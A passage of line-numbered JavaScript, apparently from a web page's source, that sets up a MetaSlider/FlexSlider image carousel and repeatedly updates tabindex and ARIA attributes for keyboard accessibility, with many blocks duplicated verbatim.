li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3066 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3067 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3068 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3069 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3070 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 3071 } 3072 } 3073 3074 updateSliderTabindex(); 3075 3076 if (typeof MutationObserver !== 'undefined') { 3077 var observer = new MutationObserver(function(mutations) { 3078 var shouldUpdate = false;
3079 mutations.forEach(function(mutation) { 3080 if (mutation.type === 'attributes' && 3081 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 3082 shouldUpdate = true; 3083 } 3084 if (mutation.type === 'childList') { 3085 shouldUpdate = true; 3086 } 3087 }); 3088 if (shouldUpdate) { 3089 updateSliderTabindex(); 3090 } 3091 }); 3092 3093 var targetNode = $('#metaslider_4316')[0]; 3094 if (targetNode) { 3095 observer.observe(targetNode, { 3096 attributes: true, 3097 attributeFilter: ['aria-hidden', 'style', 'class'], 3098 childList: true, 3099 subtree: true 3100 }); 3101 3102 var parent = targetNode.parentNode; 3103 while (parent && parent !== document.body) { 3104 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 3105 parent = parent.parentNode; 3106 } 3107 } 3108 } 3109 }, 0); 3110 3111 3112 // Function to disable focusable elements in aria-hidden slides 3113 function disableAriaHiddenFocusableElements() { 3114 var slider_ = $('#metaslider_4316'); 3115 3116 // Disable focusable elements in slides with aria-hidden='true' 3117 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3118 3119 // Disable focusable elements in cloned slides (these should never be focusable) 3120 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3121 } 3122 3123 // Initial setup 3124 disableAriaHiddenFocusableElements(); 3125 3126 // Observer for aria-hidden and clone changes 3127 if (typeof MutationObserver !== 'undefined') { 3128 var ariaObserver = new MutationObserver(function(mutations) { 3129 var shouldUpdate = false; 3130 mutations.forEach(function(mutation) { 3131 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 3132 shouldUpdate = true; 3133 } 3134 if (mutation.type === 'childList') { 3135 // Check if cloned slides were added/removed 3136 for (var i = 0; i < mutation.addedNodes.length; i++) { 3137 if (mutation.addedNodes[i].nodeType === 1 && 3138 (mutation.addedNodes[i].classList.contains('clone') || 3139 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 3140 shouldUpdate = true; 3141 break; 3142 } 3143 } 3144 } 3145 }); 3146 if (shouldUpdate) { 3147 setTimeout(disableAriaHiddenFocusableElements, 10); 3148 } 3149 }); 3150 3151 var targetNode = $('#metaslider_4316')[0]; 3152 if (targetNode) { 3153 ariaObserver.observe(targetNode, { 3154 attributes: true, 3155 attributeFilter: ['aria-hidden'], 3156 childList: true, 3157 subtree: true 3158 }); 3159 } 3160 } 3161 3162 3163 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3164 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3165 3166 document.addEventListener('click', function (event) { 3167 if (event.target.closest('[role=\'tab\']')) { 3168 $('#metaslider_4316').resize(); 3169 } 3170 }); 3171 }, 3172 after: function(slider) { 3173 3174 // Update tabindex after slide change, respecting aria-hidden state 3175 var slider_ = $('#metaslider_4316'); 3176 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3177 slider_.is('[aria-hidden="true"]') || 3178 !slider_.is(':visible'); 3179 3180 if (!isSliderHidden) { 3181 // Disable focusable elements in slides with aria-hidden='true' 3182 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3183 3184 // Disable focusable elements in cloned slides 3185 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3186 3187 // Normal focus management for navigation 3188 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3189 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3190 3191 // Only allow focus on active slide that's not aria-hidden or cloned 3192 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3193 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 3194 } 3195 3196 3197 // Re-disable focusable elements after slide transitions 3198 var slider_ = $('#metaslider_4316'); 3199 3200 // Disable focusable elements in slides with aria-hidden='true' 3201 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
3201([tabindex="-1"])').attr('tabindex', '-1'); 3202 3203 // Disable focusable elements in cloned slides 3204 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3205 3206 3207 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3208 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3209 3210 3211 // Update tabindex after slide change, respecting aria-hidden state 3212 var slider_ = $('#metaslider_4316'); 3213 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3214 slider_.is('[aria-hidden="true"]') || 3215 !slider_.is(':visible'); 3216 3217 if (!isSliderHidden) { 3218 // Disable focusable elements in slides with aria-hidden='true' 3219 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3220 3221 // Disable focusable elements in cloned slides 3222 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3223 3224 // Normal focus management for navigation 3225 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3226 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3227 3228 // Only allow focus on active slide that's not aria-hidden or cloned 3229 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3230 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 3231 } 3232 3233 3234 // Re-disable focusable elements after slide transitions 3235 var slider_ = $('#metaslider_4316'); 3236 3237 // Disable focusable elements in slides with aria-hidden='true' 3238 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3239 3240 // Disable focusable elements in cloned slides 3241 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3242 3243 3244 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3245 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3246 3247 3248 // Update tabindex after slide change, respecting aria-hidden state 3249 var slider_ = $('#metaslider_4316'); 3250 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3251 slider_.is('[aria-hidden="true"]') || 3252 !slider_.is(':visible'); 3253 3254 if (!isSliderHidden) { 3255 // Disable focusable elements in slides with aria-hidden='true' 3256 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3257 3258 // Disable focusable elements in cloned slides 3259 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3260 3261 // Normal focus management for navigation 3262 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3263 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3264 3265 // Only allow focus on active slide that's not aria-hidden or cloned 3266 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3267 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 3268 } 3269 3270 3271 // Re-disable focusable elements after slide transitions 3272 var slider_ = $('#metaslider_4316'); 3273 3274 // Disable focusable elements in slides with aria-hidden='true' 3275 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
3275([tabindex="-1"])').attr('tabindex', '-1'); 3276 3277 // Disable focusable elements in cloned slides 3278 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3279 3280 3281 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3282 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3283 3284 3285 // Update tabindex after slide change, respecting aria-hidden state 3286 var slider_ = $('#metaslider_4316'); 3287 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3288 slider_.is('[aria-hidden="true"]') || 3289 !slider_.is(':visible'); 3290 3291 if (!isSliderHidden) { 3292 // Disable focusable elements in slides with aria-hidden='true' 3293 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3294 3295 // Disable focusable elements in cloned slides 3296 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3297 3298 // Normal focus management for navigation 3299 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3300 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3301 3302 // Only allow focus on active slide that's not aria-hidden or cloned 3303 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3304 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 3305 } 3306 3307 3308 // Re-disable focusable elements after slide transitions 3309 var slider_ = $('#metaslider_4316'); 3310 3311 // Disable focusable elements in slides with aria-hidden='true' 3312 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3313 3314 // Disable focusable elements in cloned slides 3315 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3316 3317 3318 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3319 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3320 3321 } 3322 }); 3323 $(document).trigger('metaslider/initialized', '#metaslider_4316'); 3324 }; 3325 var timer_metaslider_4316 = function() { 3326 var slider = !window.jQuery ? window.setTimeout(timer_metaslider_4316, 100) : !jQuery.isReady ? window.setTimeout(timer_metaslider_4316, 1) : metaslider_4316(window.jQuery); 3327 }; 3328 timer_metaslider_4316(); 3329var metaslider_4316 = function($) {$('#metaslider_4316').addClass('flexslider'); 3330 $('#metaslider_4316').flexslider({ 3331 slideshowSpeed:3000, 3332 animation:"slide", 3333 controlNav:true, 3334 directionNav:true, 3335 pauseOnHover:false, 3336 direction:"horizontal", 3337 reverse:false, 3338 keyboard:true, 3339 touch:true, 3340 animationSpeed:600, 3341 prevText:"Previous", 3342 nextText:"Next", 3343 smoothHeight:false, 3344 fadeFirstSlide:false, 3345 easing:"linear", 3346 slideshow:true, 3347 pausePlay:false, 3348 showPlayText:false, 3349 playText:false, 3350 pauseText:false, 3351 start: function(slider) { 3352 slider.find('.flex-prev').attr('aria-label', 'Previous'); 3353 slider.find('.flex-next').attr('aria-label', 'Next'); 3354 slider.find('.flex-prev').attr('aria-label', 'Previous'); 3355 slider.find('.flex-next').attr('aria-label', 'Next'); 3356 slider.find('.flex-prev').attr('aria-label', 'Previous'); 3357 slider.find('.flex-next').attr('aria-label', 'Next'); 3358 slider.find('.flex-prev').attr('aria-label', 'Previous'); 3359 slider.find('.flex-next').attr('aria-label', 'Next'); 3360 slider.find('.flex-prev').attr('aria-label', 'Previous'); 3361 slider.find('.flex-next').attr('aria-label', 'Next'); 3362 3363 // Wait for DOM to be ready and FlexSlider to render controls 3364 setTimeout(function() { 3365 var nav = $('#metaslider_4316 .flex-control-nav'); 3366 if (nav.length) { 3367 nav.attr('role', 'tablist'); 3368 } 3369 3370 function updateSliderTabindex() { 3371 var slider_ = $('#metaslider_4316'); 3372 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3373 slider_.is('[aria-hidden="true"]') || 3374 !slider_.is(':visible'); 3375 3376 if (isSliderHidden) { 3377 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 3378 } else { 3379 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3380 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3381 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3382 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3383 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3384 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 3385 } 3386 } 3387 3388 updateSliderTabindex(); 3389 3390 if (typeof MutationObserver !== 'undefined') { 3391 var observer = new MutationObserver(function(mutations) { 3392 var shouldUpdate = false;
3393 mutations.forEach(function(mutation) { 3394 if (mutation.type === 'attributes' && 3395 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 3396 shouldUpdate = true; 3397 } 3398 if (mutation.type === 'childList') { 3399 shouldUpdate = true; 3400 } 3401 }); 3402 if (shouldUpdate) { 3403 updateSliderTabindex(); 3404 } 3405 }); 3406 3407 var targetNode = $('#metaslider_4316')[0]; 3408 if (targetNode) { 3409 observer.observe(targetNode, { 3410 attributes: true, 3411 attributeFilter: ['aria-hidden', 'style', 'class'], 3412 childList: true, 3413 subtree: true 3414 }); 3415 3416 var parent = targetNode.parentNode; 3417 while (parent && parent !== document.body) { 3418 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 3419 parent = parent.parentNode; 3420 } 3421 } 3422 } 3423 }, 0); 3424 3425 3426 // Function to disable focusable elements in aria-hidden slides 3427 function disableAriaHiddenFocusableElements() { 3428 var slider_ = $('#metaslider_4316'); 3429 3430 // Disable focusable elements in slides with aria-hidden='true' 3431 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3432 3433 // Disable focusable elements in cloned slides (these should never be focusable) 3434 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3435 } 3436 3437 // Initial setup 3438 disableAriaHiddenFocusableElements(); 3439 3440 // Observer for aria-hidden and clone changes 3441 if (typeof MutationObserver !== 'undefined') { 3442 var ariaObserver = new MutationObserver(function(mutations) { 3443 var shouldUpdate = false; 3444 mutations.forEach(function(mutation) { 3445 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 3446 shouldUpdate = true; 3447 } 3448 if (mutation.type === 'childList') { 3449 // Check if cloned slides were added/removed 3450 for (var i = 0; i < mutation.addedNodes.length; i++) { 3451 if (mutation.addedNodes[i].nodeType === 1 && 3452 (mutation.addedNodes[i].classList.contains('clone') || 3453 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 3454 shouldUpdate = true; 3455 break; 3456 } 3457 } 3458 } 3459 }); 3460 if (shouldUpdate) { 3461 setTimeout(disableAriaHiddenFocusableElements, 10); 3462 } 3463 }); 3464 3465 var targetNode = $('#metaslider_4316')[0]; 3466 if (targetNode) { 3467 ariaObserver.observe(targetNode, { 3468 attributes: true, 3469 attributeFilter: ['aria-hidden'], 3470 childList: true, 3471 subtree: true 3472 }); 3473 } 3474 } 3475 3476 3477 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3478 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3479 3480 document.addEventListener('click', function (event) { 3481 if (event.target.closest('[role=\'tab\']')) { 3482 $('#metaslider_4316').resize(); 3483 } 3484 }); 3485 3486 // Wait for DOM to be ready and FlexSlider to render controls 3487 setTimeout(function() { 3488 var nav = $('#metaslider_4316 .flex-control-nav'); 3489 if (nav.length) { 3490 nav.attr('role', 'tablist'); 3491 } 3492 3493 function updateSliderTabindex() { 3494 var slider_ = $('#metaslider_4316'); 3495 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3496 slider_.is('[aria-hidden="true"]') || 3497 !slider_.is(':visible'); 3498 3499 if (isSliderHidden) { 3500 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 3501 } else { 3502 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3503 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3504 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3505 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3506 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3507 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 3508 } 3509 } 3510 3511 updateSliderTabindex(); 3512 3513 if (typeof MutationObserver !== 'undefined') { 3514 var observer = new MutationObserver(function(mutations) { 3515 var shouldUpdate = false;
3516 mutations.forEach(function(mutation) { 3517 if (mutation.type === 'attributes' && 3518 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 3519 shouldUpdate = true; 3520 } 3521 if (mutation.type === 'childList') { 3522 shouldUpdate = true; 3523 } 3524 }); 3525 if (shouldUpdate) { 3526 updateSliderTabindex(); 3527 } 3528 }); 3529 3530 var targetNode = $('#metaslider_4316')[0]; 3531 if (targetNode) { 3532 observer.observe(targetNode, { 3533 attributes: true, 3534 attributeFilter: ['aria-hidden', 'style', 'class'], 3535 childList: true, 3536 subtree: true 3537 }); 3538 3539 var parent = targetNode.parentNode; 3540 while (parent && parent !== document.body) { 3541 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 3542 parent = parent.parentNode; 3543 } 3544 } 3545 } 3546 }, 0); 3547 3548 3549 // Function to disable focusable elements in aria-hidden slides 3550 function disableAriaHiddenFocusableElements() { 3551 var slider_ = $('#metaslider_4316'); 3552 3553 // Disable focusable elements in slides with aria-hidden='true' 3554 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3555 3556 // Disable focusable elements in cloned slides (these should never be focusable) 3557 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3558 } 3559 3560 // Initial setup 3561 disableAriaHiddenFocusableElements(); 3562 3563 // Observer for aria-hidden and clone changes 3564 if (typeof MutationObserver !== 'undefined') { 3565 var ariaObserver = new MutationObserver(function(mutations) { 3566 var shouldUpdate = false; 3567 mutations.forEach(function(mutation) { 3568 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 3569 shouldUpdate = true; 3570 } 3571 if (mutation.type === 'childList') { 3572 // Check if cloned slides were added/removed 3573 for (var i = 0; i < mutation.addedNodes.length; i++) { 3574 if (mutation.addedNodes[i].nodeType === 1 && 3575 (mutation.addedNodes[i].classList.contains('clone') || 3576 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 3577 shouldUpdate = true; 3578 break; 3579 } 3580 } 3581 } 3582 }); 3583 if (shouldUpdate) { 3584 setTimeout(disableAriaHiddenFocusableElements, 10); 3585 } 3586 }); 3587 3588 var targetNode = $('#metaslider_4316')[0]; 3589 if (targetNode) { 3590 ariaObserver.observe(targetNode, { 3591 attributes: true, 3592 attributeFilter: ['aria-hidden'], 3593 childList: true, 3594 subtree: true 3595 }); 3596 } 3597 } 3598 3599 3600 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3601 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3602 3603 document.addEventListener('click', function (event) { 3604 if (event.target.closest('[role=\'tab\']')) { 3605 $('#metaslider_4316').resize(); 3606 } 3607 }); 3608 3609 // Wait for DOM to be ready and FlexSlider to render controls 3610 setTimeout(function() { 3611 var nav = $('#metaslider_4316 .flex-control-nav'); 3612 if (nav.length) { 3613 nav.attr('role', 'tablist'); 3614 } 3615 3616 function updateSliderTabindex() { 3617 var slider_ = $('#metaslider_4316'); 3618 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3619 slider_.is('[aria-hidden="true"]') || 3620 !slider_.is(':visible'); 3621 3622 if (isSliderHidden) { 3623 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 3624 } else { 3625 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3626 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3627 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3628 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3629 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3630 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 3631 } 3632 } 3633 3634 updateSliderTabindex(); 3635 3636 if (typeof MutationObserver !== 'undefined') { 3637 var observer = new MutationObserver(function(mutations) { 3638 var shouldUpdate = false;
3639 mutations.forEach(function(mutation) { 3640 if (mutation.type === 'attributes' && 3641 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 3642 shouldUpdate = true; 3643 } 3644 if (mutation.type === 'childList') { 3645 shouldUpdate = true; 3646 } 3647 }); 3648 if (shouldUpdate) { 3649 updateSliderTabindex(); 3650 } 3651 }); 3652 3653 var targetNode = $('#metaslider_4316')[0]; 3654 if (targetNode) { 3655 observer.observe(targetNode, { 3656 attributes: true, 3657 attributeFilter: ['aria-hidden', 'style', 'class'], 3658 childList: true, 3659 subtree: true 3660 }); 3661 3662 var parent = targetNode.parentNode; 3663 while (parent && parent !== document.body) { 3664 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 3665 parent = parent.parentNode; 3666 } 3667 } 3668 } 3669 }, 0); 3670 3671 3672 // Function to disable focusable elements in aria-hidden slides 3673 function disableAriaHiddenFocusableElements() { 3674 var slider_ = $('#metaslider_4316'); 3675 3676 // Disable focusable elements in slides with aria-hidden='true' 3677 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3678 3679 // Disable focusable elements in cloned slides (these should never be focusable) 3680 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 3681 } 3682 3683 // Initial setup 3684 disableAriaHiddenFocusableElements(); 3685 3686 // Observer for aria-hidden and clone changes 3687 if (typeof MutationObserver !== 'undefined') { 3688 var ariaObserver = new MutationObserver(function(mutations) { 3689 var shouldUpdate = false; 3690 mutations.forEach(function(mutation) { 3691 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 3692 shouldUpdate = true; 3693 } 3694 if (mutation.type === 'childList') { 3695 // Check if cloned slides were added/removed 3696 for (var i = 0; i < mutation.addedNodes.length; i++) { 3697 if (mutation.addedNodes[i].nodeType === 1 && 3698 (mutation.addedNodes[i].classList.contains('clone') || 3699 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 3700 shouldUpdate = true; 3701 break; 3702 } 3703 } 3704 } 3705 }); 3706 if (shouldUpdate) { 3707 setTimeout(disableAriaHiddenFocusableElements, 10); 3708 } 3709 }); 3710 3711 var targetNode = $('#metaslider_4316')[0]; 3712 if (targetNode) { 3713 ariaObserver.observe(targetNode, { 3714 attributes: true, 3715 attributeFilter: ['aria-hidden'], 3716 childList: true, 3717 subtree: true 3718 }); 3719 } 3720 } 3721 3722 3723 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3724 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3725 3726 document.addEventListener('click', function (event) { 3727 if (event.target.closest('[role=\'tab\']')) { 3728 $('#metaslider_4316').resize(); 3729 } 3730 }); 3731 3732 // Wait for DOM to be ready and FlexSlider to render controls 3733 setTimeout(function() { 3734 var nav = $('#metaslider_4316 .flex-control-nav'); 3735 if (nav.length) { 3736 nav.attr('role', 'tablist'); 3737 } 3738 3739 function updateSliderTabindex() { 3740 var slider_ = $('#metaslider_4316'); 3741 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3742 slider_.is('[aria-hidden="true"]') || 3743 !slider_.is(':visible'); 3744 3745 if (isSliderHidden) { 3746 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 3747 } else { 3748 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 3749 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 3750 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 3751 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 3752 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 3753 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 3754 } 3755 } 3756 3757 updateSliderTabindex(); 3758 3759 if (typeof MutationObserver !== 'undefined') { 3760 var observer = new MutationObserver(function(mutations) { 3761 var shouldUpdate = false;
3762 mutations.forEach(function(mutation) { 3763 if (mutation.type === 'attributes' && 3764 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 3765 shouldUpdate = true; 3766 } 3767 if (mutation.type === 'childList') { 3768 shouldUpdate = true; 3769 } 3770 }); 3771 if (shouldUpdate) { 3772 updateSliderTabindex(); 3773 } 3774 }); 3775 3776 var targetNode = $('#metaslider_4316')[0]; 3777 if (targetNode) { 3778 observer.observe(targetNode, { 3779 attributes: true, 3780 attributeFilter: ['aria-hidden', 'style', 'class'], 3781 childList: true, 3782 subtree: true 3783 }); 3784 3785 var parent = targetNode.parentNode; 3786 while (parent && parent !== document.body) { 3787 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 3788 parent = parent.parentNode; 3789 } 3790 } 3791 } 3792 }, 0); 3793 3794 3795 // Function to disable focusable elements in aria-hidden slides 3796 function disableAriaHiddenFocusableElements() { 3797 var slider_ = $('#metaslider_4316'); 3798 3799 // Disable focusable elements in slides with aria-hidden='true' 3800 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides 